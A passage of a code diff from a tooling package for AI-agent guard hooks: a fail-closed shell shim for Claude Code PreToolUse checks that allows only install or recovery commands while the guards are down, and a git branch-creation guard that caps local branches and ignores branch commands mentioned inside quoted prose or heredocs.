corrupt the\n// decision JSON. Reading the payload up-front ($PAYLOAD) is what replaces exec's stdin passthrough.\nconst RUN_BIN_SH = `if [ -x \"\\$BIN\" ] && [ -z \"\\$DRIFT_PKG\" ]; then\n OUT_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-out.\\$\\$\"\n ERR_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-err.\\$\\$\"\n printf '%s' \"\\$PAYLOAD\" | \"\\$BIN\" \"\\$@\" >\"\\$OUT_FILE\" 2>\"\\$ERR_FILE\"\n RC=\\$?\n if [ \"\\$RC\" = 0 ] || [ \"\\$RC\" = 2 ]; then\n cat \"\\$OUT_FILE\" # the guard's real decision — verbatim\n cat \"\\$ERR_FILE\" >&2\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n exit \"\\$RC\"\n fi\n # Crashed. Keep the most useful stderr line for the human. Strip \" and backslash so the text stays a\n # valid JSON string, and cap the length so a giant node stack cannot blow up the deny payload.\n CRASH_MSG=\"\\$(grep -m1 'Cannot find module' \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"\\$(head -n1 \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"exit code \\$RC, no stderr\"\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n BROKEN_BIN=1\nfi`;\n\n// Shell fragment: the guards are DOWN (missing | stale | crashed). Parse the payload, audit-log the\n// decision, and let ONLY the install/recovery commands through — everything else falls to the deny below.\nconst TRIAGE_SH = `CMD=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"command\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nTOOL=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"tool_name\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\n# Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a\n# human can inspect after something odd (an install that was denied, or one that slipped through). One\n# tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or\n# blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is\n# the PreToolUse decision channel — a stray byte there would corrupt allow/deny).\nLOG_DIR=\"\\$ROOT/.webpieces/logs\"\nwp_log() { # \\$1 = decision label (ALLOW-INSTALL | DENY | DENY-STALE | DENY-BROKEN)\n { mkdir -p \"\\$LOG_DIR\" 2>/dev/null && printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"\\$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"\\$BIN_NAME\" \"\\$TOOL\" \"\\$1\" \"\\$CMD\" >> \"\\$LOG_DIR/ai-hook-shim.log\"; } 2>/dev/null || true\n}\nDENY_LABEL=\"DENY\"\n[ -n \"\\$DRIFT_PKG\" ] && DENY_LABEL=\"DENY-STALE\" # version drift, not a missing bin\n[ -n \"\\$BROKEN_BIN\" ] && DENY_LABEL=\"DENY-BROKEN\" # bin present but CRASHED (corrupt node_modules)\nif printf '%s' \"\\$CMD\" | grep -Eq '${INSTALLER_ALLOW_ERE}' || printf '%s' \"\\$CMD\" | grep -Eq '${RECOVERY_ALLOW_ERE}'; then\n wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)\n exit 0 # allow the installer/recovery so the assistant can break the deadlock\nfi\nwp_log \"\\$DENY_LABEL\" # every fail-closed block (…-STALE = drift, …-BROKEN = crash) for inspection`;\n\n// Shell fragment: emit the deny. FAIL CLOSED via Claude Code's PreToolUse JSON protocol\n// (permissionDecision \"deny\" on stdout, then exit 0) rather than a bare \"exit 2\". BOTH block the call,\n// but the reason must be made VISIBLE, and HOW depends on the tool (verified by live tests; the docs\n// are wrong here):\n// - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage\n// is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the\n// recovery command is visible (without it, on Bash, it is invisible).\n// - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED \"Error:\" block natively —\n// no systemMessage needed (a second line would be redundant).\n// - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).\n// The ESC is emitted as the literal 6-char JSON escape \\\\u001b (built via ${BS} so no raw ESC byte and\n// no \\\\uXXXX sits in this source); Claude Code's JSON parser turns \\\\u001b into ESC. The reason is a\n// single JSON string with no double-quotes/backslashes, so it stays valid JSON after ${BIN_NAME} subs.\nconst DENY_EMIT_SH = `if [ \"\\$TOOL\" = \"Bash\" ]; then\n BS='\\\\' # one literal backslash, so the \\\\u001b escape never sits in this source\n ESC=\"\\${BS}u001b\" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\\\u001b → ESC\n printf '{\"systemMessage\":\"%s🛑 %s%s\",\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\${ESC}[31;1m\" \"\\$REASON\" \"\\${ESC}[0m\" \"\\$REASON\"\nelse\n printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\$REASON\"\nfi\nexit 0 # decision is carried by permissionDecision \"deny\", not the exit code`;\n\n// Shell fragment: pick the fail-closed deny REASON — a crashed-bin message (corrupt node_modules) vs a\n// version-drift message (bin present but stale) vs the missing-bin message. Extracted alongside\n// VERSION_DRIFT_GUARD_SH / RUN_BIN_SH to keep renderShim() within the method-line budget.\nconst DENY_REASON_SH = `if [ -n \"\\$BROKEN_BIN\" ]; then\n # Report (do NOT auto-clean) the orphaned pnpm staging dirs — a package pnpm was mid-way through\n # writing is left behind as <name>_<pid>_<hash>. Their presence is the fingerprint of an install that\n # was killed, which is what corrupts node_modules in the first place. Best-effort; never fatal.\n STAGING_N=\"\\$(ls \"\\$ROOT/node_modules\" 2>/dev/null | grep -Ec '_[0-9a-f]+_[0-9a-f]+\\$' || true)\"\n STAGING_NOTE=\"\"\n if [ \"\\${STAGING_N:-0}\" -gt 0 ] 2>/dev/null; then\n STAGING_NOTE=\" Also found \\$STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write.\"\n fi\n REASON=\"❌ webpieces guards are DOWN and every tool call is BLOCKED: \\${BIN_NAME} is installed but CRASHED (\\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. Run exactly this, then retry: ${RECOVERY_CMD}\\${STAGING_NOTE}\"\nelif [ -n \"\\$DRIFT_PKG\" ]; then\n REASON=\"❌ webpieces is out of date: package.json pins \\$DRIFT_PKG@\\$DRIFT_DECLARED but node_modules has \\$DRIFT_INSTALLED. This hook rejects every call except 'pnpm install' because your installed webpieces is older than webpieces.config.json requires. Please run 'pnpm install' now, then retry.\"\nelse\n REASON=\"❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\\${BIN_NAME} not found). Run 'pnpm install' (or this repo's installer) to enable the webpieces AI guards, then retry. (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)\"\nfi`;\n\nexport function renderShim(): string {\n return `#!/bin/sh\n# Managed by @webpieces/ai-hook-rules (wp-install-ai-hooks) — do not edit; the installer AND the running\n# guards binary both overwrite this file (self-healing) from renderShim(). Checked in on purpose so the\n# hook has a stable, committed entry point even when node_modules is absent. Safe to delete along with\n# the matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.\n#\n# Usage (wired into .claude/settings.json): sh \"$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh\" <bin-name>\nBIN_NAME=\"$1\"\nshift\n# Resolve the bin relative to THIS script (…/<root>/.claude/webpieces/ai-hook.sh → <root>), not the\n# caller's cwd — the hook can be invoked from any directory (a subdir, or a nested clone).\nROOT=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/../..\" && pwd)\"\nBIN=\"$ROOT/node_modules/.bin/$BIN_NAME\"\n${VERSION_DRIFT_GUARD_SH}\n# Read the tool payload ONCE, up front. The shim no longer exec's the bin (see RUN_BIN_SH), so it must\n# forward stdin to the bin itself — and it needs the payload again on the fail-closed path below.\nPAYLOAD=\"$(cat)\"\nBROKEN_BIN=\"\"\nCRASH_MSG=\"\"\n${RUN_BIN_SH}\n# Bin missing (fresh clone before install) OR a version drift (stale node_modules) OR the bin is\n# installed but CRASHED (corrupt node_modules). The webpieces guards CANNOT safely run.\n# Before failing closed, peek at the tool payload and let ONLY package-manager install/recovery commands\n# through: the assistant's own Bash tool routes through this hook too, so blocking everything would\n# deadlock the very commands (pnpm install / rm -rf node_modules && pnpm install) that re-enable the\n# guards. A silent exit 0 = \"allow\" in the PreToolUse protocol; the guards resume once the tree is sane.\n${TRIAGE_SH}\n${DENY_REASON_SH}\n${DENY_EMIT_SH}\n`;\n}\n\n// Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's\n// actual dir) to the nearest ancestor holding a shim, falling back to $CLAUDE_PROJECT_DIR (which\n// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a\n// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when\n// no committed shim exists (e.g. a global / absolute install, which has none to heal).\n//\n// Exported for install-entry.ts: on a CORRUPT node_modules, healShim is the only installer step that\n// can still run, so the installer must be able to tell the human whether a committed shim was actually\n// there to re-arm. Pure existsSync walk — never throws, so it needs no try/catch of its own.\n// webpieces-disable no-function-outside-class -- pure fs+path helper in the dependency-free shim module; it must not depend on DI (install-entry.ts relies on this loading on a corrupt tree).\nexport function findShimRoot(cwd: string): string | null {\n let dir = cwd;\n for (;;) {\n if (fs.existsSync(shimPath(dir))) return dir;\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n const env = process.env['CLAUDE_PROJECT_DIR'];\n if (env && fs.existsSync(shimPath(env))) return env;\n return null;\n}\n\n// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and\n// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are\n// untouched. NEVER throws — a self-heal must never block or crash a tool call.\nexport function healShim(cwd: string): void {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (!root) return;\n const target = shimPath(root);\n const desired = renderShim();\n if (fs.readFileSync(target, 'utf8') === desired) return;\n fs.writeFileSync(target, desired, { mode: 0o755 });\n fs.chmodSync(target, 0o755);\n } catch (err: unknown) {\n //const error = toError(err);\n // Ignore: healing is a convenience, not part of the guard decision.\n }\n}\n"]}
|
|
@@ -4,13 +4,51 @@ import { BashRuleBase } from '../rule-base';
|
|
|
4
4
|
import { FixHint } from '../fix-hint';
|
|
5
5
|
export declare class BranchCreationGuardRule extends BashRuleBase<BranchCreationGuardConfig> {
|
|
6
6
|
constructor(config: BranchCreationGuardConfig);
|
|
7
|
-
readonly description
|
|
7
|
+
readonly description: string;
|
|
8
8
|
readonly defaultOptions: {
|
|
9
9
|
subBranchNaming: string;
|
|
10
10
|
branchFormat: string;
|
|
11
|
+
maxLocalBranches: number;
|
|
11
12
|
};
|
|
13
|
+
private readonly mergedBranches;
|
|
14
|
+
private capCache;
|
|
12
15
|
private get branchFormat();
|
|
13
16
|
private get subBranchNaming();
|
|
17
|
+
private get maxLocalBranches();
|
|
14
18
|
get fixHint(): FixHint;
|
|
19
|
+
/**
|
|
20
|
+
* Strip the parts of a shell command that are DATA rather than executable commands, so the guard
|
|
21
|
+
* stops reading prose as instructions.
|
|
22
|
+
*
|
|
23
|
+
* This guard regex-scans the raw command string and has no notion of quoting, so
|
|
24
|
+
* `git commit -m "... git checkout -b foo ..."` — or any heredoc commit message that mentions a
|
|
25
|
+
* branch command — was parsed as an actual branch creation and blocked. That bit three separate
|
|
26
|
+
* times while building the branch cap, including on the cap's own commit. It matters far more now
|
|
27
|
+
* that the cap check runs BEFORE the origin/main allow: at the cap, a merely-MENTIONED branch
|
|
28
|
+
* command would block your commit.
|
|
29
|
+
*
|
|
30
|
+
* A quoted span whose content has no whitespace is kept verbatim (it is a single token — the name
|
|
31
|
+
* in `git checkout -b "dean/foo"`), so quoting a branch name cannot smuggle a creation past the
|
|
32
|
+
* guard. Anything with whitespace inside quotes is prose, and collapses to a space.
|
|
33
|
+
*/
|
|
34
|
+
private stripNonCommandText;
|
|
15
35
|
check(ctx: BashContext): readonly Violation[];
|
|
36
|
+
/**
|
|
37
|
+
* The cap. Blocks branch #N+1 until already-merged branches are reaped, which is the ONLY thing
|
|
38
|
+
* keeping the local branch list bounded.
|
|
39
|
+
*
|
|
40
|
+
* Fails OPEN when the cache is absent (fresh clone, `gh` unavailable, refresher hasn't run yet):
|
|
41
|
+
* never block on data we don't have. The detached refresher regenerates it within one hook call,
|
|
42
|
+
* so the cap starts enforcing on its own.
|
|
43
|
+
*/
|
|
44
|
+
private checkBranchCap;
|
|
45
|
+
/**
|
|
46
|
+
* The reap instructions. `deletable` is PRECOMPUTED in the cache, and every entry earned its place
|
|
47
|
+
* by one of exactly two proofs: a MERGED PR (the work is in main), or zero commits of its own
|
|
48
|
+
* (there is no work). Deleting the list cannot lose anything — so just run the command.
|
|
49
|
+
*
|
|
50
|
+
* The wording must not overstate that: the list is NOT uniformly "merged PR" branches, and a
|
|
51
|
+
* message that tells an agent to run `git branch -D` has to be exactly true about why that's safe.
|
|
52
|
+
*/
|
|
53
|
+
private capFixHint;
|
|
16
54
|
}
|
|
@@ -2,6 +2,7 @@
|
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.BranchCreationGuardRule = void 0;
|
|
4
4
|
const child_process_1 = require("child_process");
|
|
5
|
+
const rules_config_1 = require("@webpieces/rules-config");
|
|
5
6
|
const types_1 = require("../types");
|
|
6
7
|
const rule_base_1 = require("../rule-base");
|
|
7
8
|
const fix_hint_1 = require("../fix-hint");
|
|
@@ -10,10 +11,17 @@ const fix_hint_1 = require("../fix-hint");
|
|
|
10
11
|
// intentionally NOT the sub-branch convention (sub-branches are a separate, human-approved path).
|
|
11
12
|
const DEFAULT_BRANCH_FORMAT = 'Name it {whoami}/<short-feature-description> — lowercase, no version numbers, no sub/ prefix (e.g. dean/upgrade-webpieces)';
|
|
12
13
|
const DEFAULT_SUB_BRANCH_NAMING = 'feature/<ticket>/<short-description>';
|
|
14
|
+
// Hard cap on local feature branches. Enforced at CREATION because that is the one moment cleanup is
|
|
15
|
+
// both cheap and obviously worth it — reaping happens over time, never "ASAP".
|
|
16
|
+
const DEFAULT_MAX_LOCAL_BRANCHES = 5;
|
|
17
|
+
// A plausible git ref name. Deliberately NOT `[^\s-]` — that class matches shell metacharacters, so
|
|
18
|
+
// `git branch | wc -l` (a read-only LISTING, piped) was parsed as "create a branch named `|`" and
|
|
19
|
+
// blocked. Cleanup work necessarily reads and deletes branches, so a listing must never trip this.
|
|
20
|
+
const REF_NAME = String.raw `[A-Za-z0-9][A-Za-z0-9_./-]*`;
|
|
13
21
|
const BRANCH_PATTERNS = [
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
22
|
+
new RegExp(String.raw `git\s+checkout\s+-[bB]\s+(${REF_NAME})`),
|
|
23
|
+
new RegExp(String.raw `git\s+switch\s+-[cC]\s+(${REF_NAME})`),
|
|
24
|
+
new RegExp(String.raw `git\s+branch\s+(?!-)(${REF_NAME})`),
|
|
17
25
|
];
|
|
18
26
|
// A trailing `wp<number>` was the old squash-merge generation marker (base → basewp2 → basewp3).
|
|
19
27
|
// The tooling NO LONGER produces it — a sync now lands back on the same feature name — but the suffix
|
|
@@ -24,7 +32,16 @@ const RESERVED_GENERATION_SUFFIX = /wp\d+$/;
|
|
|
24
32
|
// origin/main`). This is exactly the fresh-main base the guard wants, and it works from ANY current
|
|
25
33
|
// branch or linked worktree — main need not (and in a worktree cannot) be checked out here. Allowed
|
|
26
34
|
// unconditionally so the recovery messages can safely tell you to run it from a worktree.
|
|
27
|
-
|
|
35
|
+
//
|
|
36
|
+
// The trailing check is `\W|$`, not `\s|$`: the ALLOW pattern must not be stricter about delimiters
|
|
37
|
+
// than the BLOCK pattern above, or a `git checkout -b x origin/main` that ends at a quote or backtick
|
|
38
|
+
// is seen as a branch creation but NOT as an origin/main one — recognised, then wrongly blocked.
|
|
39
|
+
const ORIGIN_MAIN_BASE = /git\s+(?:checkout\s+-[bB]|switch\s+-[cC])\s+\S+\s+origin\/main(?:\W|$)/;
|
|
40
|
+
// Heredoc bodies: `<<EOF … \nEOF` / `<<-'EOF' … \nEOF`. Their content is DATA (a commit message, a
|
|
41
|
+
// file being written), never a command.
|
|
42
|
+
const HEREDOC_BODY = /<<-?\s*(['"]?)(\w+)\1[\s\S]*?^\t*\2\s*$/gm;
|
|
43
|
+
// A single- or double-quoted span.
|
|
44
|
+
const QUOTED_SPAN = /'([^']*)'|"([^"]*)"/g;
|
|
28
45
|
function extractBranchName(command) {
|
|
29
46
|
for (const pattern of BRANCH_PATTERNS) {
|
|
30
47
|
const m = pattern.exec(command);
|
|
@@ -54,21 +71,32 @@ function checkMainIsUpToDate(ctx, requestedName) {
|
|
|
54
71
|
}
|
|
55
72
|
class BranchCreationGuardRule extends rule_base_1.BashRuleBase {
|
|
56
73
|
constructor(config) { super(config, 'branch-creation-guard'); }
|
|
57
|
-
description = 'Block new-branch creation when main is stale,
|
|
74
|
+
description = 'Block new-branch creation when main is stale, when branching off a non-main branch, ' +
|
|
75
|
+
'or when the local branch count is at its cap (forces cleanup of already-merged branches).';
|
|
58
76
|
defaultOptions = {
|
|
59
77
|
subBranchNaming: DEFAULT_SUB_BRANCH_NAMING,
|
|
60
78
|
branchFormat: DEFAULT_BRANCH_FORMAT,
|
|
79
|
+
maxLocalBranches: DEFAULT_MAX_LOCAL_BRANCHES,
|
|
61
80
|
};
|
|
81
|
+
mergedBranches = new rules_config_1.MergedBranchesService();
|
|
82
|
+
// Set by check() when (and only when) the cap is what blocked, so fixHint can render the reap
|
|
83
|
+
// instructions instead of the branch-naming ones. Same instance-field handoff pr-merge-guard uses.
|
|
84
|
+
capCache = null;
|
|
62
85
|
get branchFormat() {
|
|
63
86
|
return this.config.branchFormat ?? DEFAULT_BRANCH_FORMAT;
|
|
64
87
|
}
|
|
65
88
|
get subBranchNaming() {
|
|
66
89
|
return this.config.subBranchNaming ?? DEFAULT_SUB_BRANCH_NAMING;
|
|
67
90
|
}
|
|
91
|
+
get maxLocalBranches() {
|
|
92
|
+
return this.config.maxLocalBranches ?? DEFAULT_MAX_LOCAL_BRANCHES;
|
|
93
|
+
}
|
|
68
94
|
// Mode-aware fix hints. Branches off main follow branchFormat — never the sub-branch
|
|
69
95
|
// convention. The sub-branch affordance only appears under mode 'ON'; 'ON_NO_SUBBRANCHES'
|
|
70
96
|
// hard-blocks it and points instead at the ignoreModifiedUntilEpoch escape hatch.
|
|
71
97
|
get fixHint() {
|
|
98
|
+
if (this.capCache)
|
|
99
|
+
return this.capFixHint(this.capCache);
|
|
72
100
|
const options = [
|
|
73
101
|
new fix_hint_1.Option("Create it off fresh main from anywhere (incl. a worktree): git fetch origin main && git checkout -b <name> origin/main", true),
|
|
74
102
|
new fix_hint_1.Option(`Name a branch off main per branch-creation-guard.branchFormat: ${this.branchFormat}`),
|
|
@@ -82,8 +110,34 @@ class BranchCreationGuardRule extends rule_base_1.BashRuleBase {
|
|
|
82
110
|
}
|
|
83
111
|
return new fix_hint_1.FixHint('Cannot create this branch (main is stale, or branching off a non-main branch).', 'Create your branch from an up-to-date main. Pick one:', options);
|
|
84
112
|
}
|
|
113
|
+
/**
|
|
114
|
+
* Strip the parts of a shell command that are DATA rather than executable commands, so the guard
|
|
115
|
+
* stops reading prose as instructions.
|
|
116
|
+
*
|
|
117
|
+
* This guard regex-scans the raw command string and has no notion of quoting, so
|
|
118
|
+
* `git commit -m "... git checkout -b foo ..."` — or any heredoc commit message that mentions a
|
|
119
|
+
* branch command — was parsed as an actual branch creation and blocked. That bit three separate
|
|
120
|
+
* times while building the branch cap, including on the cap's own commit. It matters far more now
|
|
121
|
+
* that the cap check runs BEFORE the origin/main allow: at the cap, a merely-MENTIONED branch
|
|
122
|
+
* command would block your commit.
|
|
123
|
+
*
|
|
124
|
+
* A quoted span whose content has no whitespace is kept verbatim (it is a single token — the name
|
|
125
|
+
* in `git checkout -b "dean/foo"`), so quoting a branch name cannot smuggle a creation past the
|
|
126
|
+
* guard. Anything with whitespace inside quotes is prose, and collapses to a space.
|
|
127
|
+
*/
|
|
128
|
+
stripNonCommandText(command) {
|
|
129
|
+
const withoutHeredocs = command.replace(HEREDOC_BODY, ' ');
|
|
130
|
+
return withoutHeredocs.replace(QUOTED_SPAN, (match, single, double) => {
|
|
131
|
+
const content = single ?? double ?? '';
|
|
132
|
+
return /\s/.test(content) ? ' ' : content;
|
|
133
|
+
});
|
|
134
|
+
}
|
|
85
135
|
check(ctx) {
|
|
86
|
-
|
|
136
|
+
this.capCache = null;
|
|
137
|
+
// Match against the command with heredoc bodies and prose-in-quotes removed. A commit message
|
|
138
|
+
// that merely MENTIONS a branch command is not a branch command.
|
|
139
|
+
const command = this.stripNonCommandText(ctx.command);
|
|
140
|
+
const requestedName = extractBranchName(command);
|
|
87
141
|
if (!requestedName)
|
|
88
142
|
return [];
|
|
89
143
|
if (RESERVED_GENERATION_SUFFIX.test(requestedName)) {
|
|
@@ -91,10 +145,15 @@ class BranchCreationGuardRule extends rule_base_1.BashRuleBase {
|
|
|
91
145
|
`squash-merge tool's generation marker (base → basewp2 → basewp3). ` +
|
|
92
146
|
`Rename it to a plain feature branch. ${this.branchFormat}.`)];
|
|
93
147
|
}
|
|
148
|
+
// The cap is checked BEFORE the origin/main allow below — `git checkout -b <name> origin/main`
|
|
149
|
+
// is the normal, always-permitted path, so a cap check placed after it would never once fire.
|
|
150
|
+
const capViolation = this.checkBranchCap(ctx);
|
|
151
|
+
if (capViolation)
|
|
152
|
+
return [capViolation];
|
|
94
153
|
// Explicitly basing off origin/main is always allowed — it creates the branch from fresh main
|
|
95
154
|
// regardless of the current branch, and is the ONLY way that also works inside a linked worktree
|
|
96
155
|
// (where `git checkout main` fatals). Reserved-name check above still applies.
|
|
97
|
-
if (ORIGIN_MAIN_BASE.test(
|
|
156
|
+
if (ORIGIN_MAIN_BASE.test(command))
|
|
98
157
|
return [];
|
|
99
158
|
const currentBranch = (0, child_process_1.execSync)('git rev-parse --abbrev-ref HEAD', {
|
|
100
159
|
cwd: ctx.workspaceRoot,
|
|
@@ -116,6 +175,56 @@ class BranchCreationGuardRule extends rule_base_1.BashRuleBase {
|
|
|
116
175
|
`If you truly need a stacked sub-branch (requires human approval), name it per ` +
|
|
117
176
|
`branch-creation-guard.subBranchNaming ('${this.subBranchNaming}').`)];
|
|
118
177
|
}
|
|
178
|
+
/**
|
|
179
|
+
* The cap. Blocks branch #N+1 until already-merged branches are reaped, which is the ONLY thing
|
|
180
|
+
* keeping the local branch list bounded.
|
|
181
|
+
*
|
|
182
|
+
* Fails OPEN when the cache is absent (fresh clone, `gh` unavailable, refresher hasn't run yet):
|
|
183
|
+
* never block on data we don't have. The detached refresher regenerates it within one hook call,
|
|
184
|
+
* so the cap starts enforcing on its own.
|
|
185
|
+
*/
|
|
186
|
+
checkBranchCap(ctx) {
|
|
187
|
+
const count = this.mergedBranches.localBranches(ctx.workspaceRoot).length;
|
|
188
|
+
if (count < this.maxLocalBranches)
|
|
189
|
+
return null;
|
|
190
|
+
const cache = this.mergedBranches.readMergedBranches(ctx.workspaceRoot);
|
|
191
|
+
if (!cache)
|
|
192
|
+
return null;
|
|
193
|
+
this.capCache = cache;
|
|
194
|
+
const reapable = cache.deletable.length;
|
|
195
|
+
const detail = reapable > 0
|
|
196
|
+
? `${String(reapable)} of them are dead (merged, or holding no commits) and can be deleted right now.`
|
|
197
|
+
: 'None of them are dead, so none can be auto-reaped — see the options below.';
|
|
198
|
+
return new types_1.Violation(1, truncate(ctx.command), `You have ${String(count)} local branches; the cap (branch-creation-guard.maxLocalBranches) ` +
|
|
199
|
+
`is ${String(this.maxLocalBranches)}. ${detail} Clean up before creating another.`);
|
|
200
|
+
}
|
|
201
|
+
/**
|
|
202
|
+
* The reap instructions. `deletable` is PRECOMPUTED in the cache, and every entry earned its place
|
|
203
|
+
* by one of exactly two proofs: a MERGED PR (the work is in main), or zero commits of its own
|
|
204
|
+
* (there is no work). Deleting the list cannot lose anything — so just run the command.
|
|
205
|
+
*
|
|
206
|
+
* The wording must not overstate that: the list is NOT uniformly "merged PR" branches, and a
|
|
207
|
+
* message that tells an agent to run `git branch -D` has to be exactly true about why that's safe.
|
|
208
|
+
*/
|
|
209
|
+
capFixHint(cache) {
|
|
210
|
+
const options = [];
|
|
211
|
+
if (cache.deletable.length > 0) {
|
|
212
|
+
const names = cache.deletable.map((entry) => entry.branch);
|
|
213
|
+
options.push(new fix_hint_1.Option(`Delete these ${String(names.length)} dead branches — each is either backed by a MERGED PR ` +
|
|
214
|
+
`or has no commits of its own, so no work can be lost (see merged-branches.json for the ` +
|
|
215
|
+
`per-branch reason): git branch -D ${names.join(' ')}`, true));
|
|
216
|
+
}
|
|
217
|
+
options.push(new fix_hint_1.Option('If you genuinely need more branches in flight, raise branch-creation-guard.maxLocalBranches ' +
|
|
218
|
+
'in webpieces.config.json.'));
|
|
219
|
+
options.push(new fix_hint_1.Option('To bypass this once, set branch-creation-guard.ignoreModifiedUntilEpoch (a future epoch) ' +
|
|
220
|
+
'in webpieces.config.json.'));
|
|
221
|
+
const kept = cache.keep.length > 0
|
|
222
|
+
? ` ${String(cache.keep.length)} unmerged branch(es) with real commits were deliberately SPARED — ` +
|
|
223
|
+
'do not delete those; a human decides.'
|
|
224
|
+
: '';
|
|
225
|
+
return new fix_hint_1.FixHint('Too many local branches — reap the dead ones before creating another.', 'Full detail (deletable + spared, with per-branch reasons) is in .webpieces/merged-branches.json, ' +
|
|
226
|
+
`refreshed ${cache.timestamp || 'never'}.${kept} Pick one:`, options);
|
|
227
|
+
}
|
|
119
228
|
}
|
|
120
229
|
exports.BranchCreationGuardRule = BranchCreationGuardRule;
|
|
121
230
|
//# sourceMappingURL=branch-creation-guard.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"branch-creation-guard.js","sourceRoot":"","sources":["../../../../../../../packages/tooling/ai-hook-rules/src/core/rules/branch-creation-guard.ts"],"names":[],"mappings":";;;AAAA,iDAAyC;AAKzC,oCAA0C;AAC1C,4CAA4C;AAC5C,0CAA8C;AAE9C,8EAA8E;AAC9E,+FAA+F;AAC/F,kGAAkG;AAClG,MAAM,qBAAqB,GACvB,4HAA4H,CAAC;AACjI,MAAM,yBAAyB,GAAG,sCAAsC,CAAC;AAEzE,MAAM,eAAe,GAAa;IAC9B,mCAAmC;IACnC,iCAAiC;IACjC,8CAA8C;CACjD,CAAC;AAEF,iGAAiG;AACjG,sGAAsG;AACtG,qGAAqG;AACrG,oGAAoG;AACpG,MAAM,0BAA0B,GAAG,QAAQ,CAAC;AAE5C,8FAA8F;AAC9F,oGAAoG;AACpG,oGAAoG;AACpG,0FAA0F;AAC1F,MAAM,gBAAgB,GAAG,wEAAwE,CAAC;AAElG,SAAS,iBAAiB,CAAC,OAAe;IACtC,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,CAAC,GAAG,OAAO,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;QAChC,IAAI,CAAC;YAAE,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC;IACvB,CAAC;IACD,OAAO,IAAI,CAAC;AAChB,CAAC;AAED,SAAS,QAAQ,CAAC,CAAS;IACvB,MAAM,GAAG,GAAG,GAAG,CAAC;IAChB,OAAO,CAAC,CAAC,MAAM,IAAI,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,EAAE,GAAG,CAAC,GAAG,GAAG,CAAC;AACvD,CAAC;AAED,SAAS,mBAAmB,CAAC,GAAgB,EAAE,aAAqB;IAChE,IAAA,wBAAQ,EAAC,+BAA+B,EAAE;QACtC,GAAG,EAAE,GAAG,CAAC,aAAa;QACtB,QAAQ,EAAE,MAAM;KACnB,CAAC,CAAC;IACH,MAAM,QAAQ,GAAG,IAAA,wBAAQ,EAAC,wCAAwC,EAAE;QAChE,GAAG,EAAE,GAAG,CAAC,aAAa;QACtB,QAAQ,EAAE,MAAM;KACnB,CAAC,CAAC,IAAI,EAAE,CAAC;IACV,MAAM,KAAK,GAAG,QAAQ,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IACrC,IAAI,KAAK,GAAG,CAAC,EAAE,CAAC;QACZ,OAAO,CAAC,IAAI,iBAAC,CACT,CAAC,EACD,QAAQ,CAAC,GAAG,CAAC,OAAO,CAAC,EACrB,iBAAiB,KAAK,gGAAgG,aAAa,IAAI,CAC1I,CAAC,CAAC;IACP,CAAC;IACD,OAAO,EAAE,CAAC;AACd,CAAC;AAED,MAAa,uBAAwB,SAAQ,wBAAuC;IAChF,YAAY,MAAiC,IAAI,KAAK,CAAC,MAAM,EAAE,uBAAuB,CAAC,CAAC,CAAC,CAAC;IAEjF,WAAW,GAAG,wF